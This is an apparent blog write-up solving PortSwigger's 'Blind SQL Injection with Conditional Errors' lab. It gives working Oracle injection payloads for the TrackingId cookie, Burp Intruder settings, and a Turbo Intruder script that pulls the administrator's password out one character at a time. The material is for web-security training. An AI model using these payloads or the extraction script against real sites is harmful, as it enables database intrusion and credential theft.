Skip to main content

🗂️PortSwigger Lab Writeup: Blind SQL Injection with Conditional Errors

PortSwigger lab start screen for Blind SQL Injection with Conditional Errors challenge


🎯 Objective

The objective of this lab is to exploit a Blind SQL injection vulnerability in a web application where the application executes a SQL query with tracking cookie in an unsafe way to track the users for analytics and our goal is to extract the administrator password from the table users and log in as administrator.

  • Lab URL: https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
  • Category: SQL Injection
  • Difficulty: Practitioner

💉 Payloads Used

1. For confirming blind SQL injection

  • Payload 1 - ✅
jXe2DRXojCvCjViV'

2. For determining database

  • Payload 2 - ✅
jXe2DRXojCvCjViV'--
  • Payload 3 - ❌
jXe2DRXojCvCjViV' AND LENGTH((SELECT 'a'))>0--
  • Payload 4 - ✅
jXe2DRXojCvCjViV' AND LENGTH((SELECT 'a' FROM dual))>0--

3. For confirming user table

  • Payload 5 - ✅
jXe2DRXojCvCjViV' AND LENGTH((SELECT 'a' FROM users WHERE ROWNUM=1))>0--

4. For confirming administrator in user table

  • Payload 6 - ✅
jXe2DRXojCvCjViV' AND LENGTH((SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator'))>0

5. For determining password length

  • Payload 7 - ✅
jXe2DRXojCvCjViV' AND LENGTH((SELECT CASE WHEN LENGTH(password)=#marker THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator'))>0

6. For determining password

  • Payload 8 - ✅
jXe2DRXojCvCjViV' AND LENGTH((SELECT CASE WHEN SUBSTR(password, ^POS^, 1)='^CHAR^' THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator'))>0

🧪 Exploitation Steps

🕵️Step 1: Observe the Website

  • Open the lab URL in your browser and explore its functionality. pwnCraft alt text
    Login page of the vulnerable website
  • At first glance, the website seems to be a shopping website with an option to filter products on different categories and also there is a login page. In the lab description, it is mentioned that the vulnerability is in the tracking cookie which is being used directly in a SQL query.

🔍Step 2: Find the Vulnerable Endpoint

  • Open the BurpSuite and send a request containing the TrackingId cookie to Repeater Tab by Ctrl + R BurpSuite Repeater tab showing TrackingId request to test for SQL injection
  • In the Repeater tab, we will first verify the endpoint for blind sqli by using the payload - jXe2DRXojCvCjViV' BurpSuite Repeater response showing Internal Server Error after SQL injection payload
  • Hence, after sending this payload we got the Internal Server Error which means our payload got executed successfully breaking the SQL query and revealing the vulnerable endpoint.

🧰Step 3: Determine the database

  • In order to further exploit the Blind sqli, we need to know which database is being used in the backend for crafting working payloads.
  • Let's first try --, a comment sequence recognized by both PostgreSQL and Oracle, to ignore the remainder of the SQL query. BurpSuite Repeater request testing comment sequence for database fingerprinting
  • Since, it returned response - 200 OK meaning we did not used any non-supported characters and database is from one of the two mentioned databases above.
  • Now, we will use a PostgreSQL database supported payload - jXe2DRXojCvCjViV' AND LENGTH((SELECT 'a'))>0-- to see if it is a PostgreSQL database or not. BurpSuite Repeater request testing comment sequence for database fingerprinting
  • Since it returned an Internal Server Error, it indicates the database is Oracle rather than PostgreSQL, because in Oracle, SELECT statements must always be paired with a FROM <any-table> clause.
  • But, we will confirm it by using an Oracle database supported payload - jXe2DRXojCvCjViV' AND LENGTH((SELECT 'a' FROM dual))>0-- BurpSuite Repeater request with Oracle-specific FROM dual test payload
  • Hence, this payload executed successfully confirming that the application is using Oracle database which will help in crafting working payloads.

🧾Step 4: Confirm the details

  • Before we directly extract the password, we should verify that if users table exists or not and if there is administrator username exists in the table.
  • We will use the payload - jXe2DRXojCvCjViV' AND LENGTH((SELECT 'a' FROM users WHERE ROWNUM=1))>0-- for confirming that users table exists or not.
    info

    The WHERE ROWNUM = 1 condition is used to ensure that the query returns only the first row from the result set. In Oracle, unlike MySQL’s LIMIT 1, you can’t directly limit rows in the same way. Instead, ROWNUM is a pseudo-column that assigns a unique number to each returned row in the order they are retrieved. By filtering with ROWNUM = 1, we ensure the query only processes the first matching row, preventing “single-row subquery returns more than one row” errors in comparisons like >0.

    BurpSuite Repeater request confirming existence of users table
  • Hence, the payload executed successfully confirming the presence of users table in database.
  • Now, we will use the payload - jXe2DRXojCvCjViV' AND LENGTH((SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator'))>0 for confirming whether the administrator user exists in the table. BurpSuite Repeater request confirming existence of administrator user
  • Hence, this payload executed successfully confirming the presence of administrator record in users table.

📏Step 5: Determine the password length

  • Before we extract the password, it is essential to know the length of password of administrator so that we can craft the payload accordingly to extract it.
  • Now, to determine the length send the request to Intruder Tab by Ctrl + I
  • We will use the payload - jXe2DRXojCvCjViV' AND LENGTH((SELECT CASE WHEN LENGTH(password)=#marker THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator'))>0 where #marker will be replaced by the marker in Intruder.
  • We will use the Sniper attack where the Burpsuite will send the one payload at a time with different password lengths. Set the payload type to be a number and start range from 8 and end range to 22 as password is generally of 8-22 characters. BurpSuite Intruder configuration for determining administrator password length
  • After this, Finally start the attack. BurpSuite Intruder attack results showing payload that caused Internal Server Error
  • Hence, payload with 20 length broke the underlying SQL query and returned the Internal Server Error.
  • Hence, it is being confirmed that the password is of 20 characters.

🔓Step 6: Extract the password

  • Here, I will be extracting the password using a extension in Burpsuite called Turbo Intruder which will fuzz the application very fast than normal Intruder in Burpsuite Community Edition.
    info

    Turbo Intruder is a Burp Suite extension designed for high-speed, customized HTTP request generation and analysis — ideal for blind SQLi brute-forcing.

  • Usually the default Intruder attack will take a very long time in community edition for this purpose, therefore we will be using Turbo Intruder.
  • Firstly, Install the Turbo Intruder extension from BApp Store.
  • Now, send a request containing the TrackingId cookie to Send to Turbo Intruder as show below. BurpSuite context menu option to send request to Turbo Intruder
  • We will use the payload - jXe2DRXojCvCjViV' AND LENGTH((SELECT CASE WHEN SUBSTR(password, ^POS^, 1)='^CHAR^' THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator'))>0 for extracting password.
  • Use this script for making the requests to application and determining successful payloads. Since PortSwigger labs usually use lowercase alphanumerics in passwords, we limited the charset to a-z0-9 for speed.
    import string

    def queueRequests(target, wordlists):
    engine = RequestEngine(target.endpoint,
    concurrentConnections=3,
    requestsPerConnection=3,
    pipeline=False)

    max_len = 20
    charset = string.ascii_lowercase + string.digits

    for pos in range(1, max_len + 1):
    for ch in charset:
    req = target.req.replace("^POS^", str(pos)).replace("^CHAR^", ch)
    engine.queue(req)

    def handleResponse(req, interesting):
    if req.status == 500:
    table.add(req)

  • After configuring everything, start the attack. Turbo Intruder request configuration for extracting each password character
    Turbo Intruder results table showing extracted password characters
  • Hence, we got the each password character of every place in 20 digit.

🧑‍💼Step 7: Log in as Administrator

  • Finally, open the login page and write the credentials of administrator extracted from Turbo Intruder to log in. Administrator login page with extracted credentials entered
  • And💥Booom!, We got the access of Admin account on the website. Administrator account dashboard after successful login
  • And Finally, the Lab is solved.

🧠 Conclusion

  • This lab involves a case of Blind SQL injection vulnerability, where the Tracking cookie parameter is used to track users for analytics and the application directly concatenates the cookie into a SQL query without validation or sanitization.
  • Since the application neither validates the user input nor uses prepared statements, it becomes vulnerable to SQL injection. This allowed us to manipulate the SQL query by injecting arbitrary SQL commands and gain full access to the database.
  • By systematically crafting and testing Blind SQLi payloads, we were able to:
    • Confirm the vulnerability using boolean-based payloads.
    • Identify the backend database (Oracle).
    • Verify the presence of the users table and the administrator user.
    • Determine the password length of the administrator account.
    • Extract the password one character at a time using Turbo Intruder.
    • Finally, use the obtained credentials to log in as administrator, gaining full system access.
  • This lab highlights the severe impact of blind SQL injection, even when there is no visible change in the application’s UI, and reinforces the importance of sanitizing all user input - including cookies.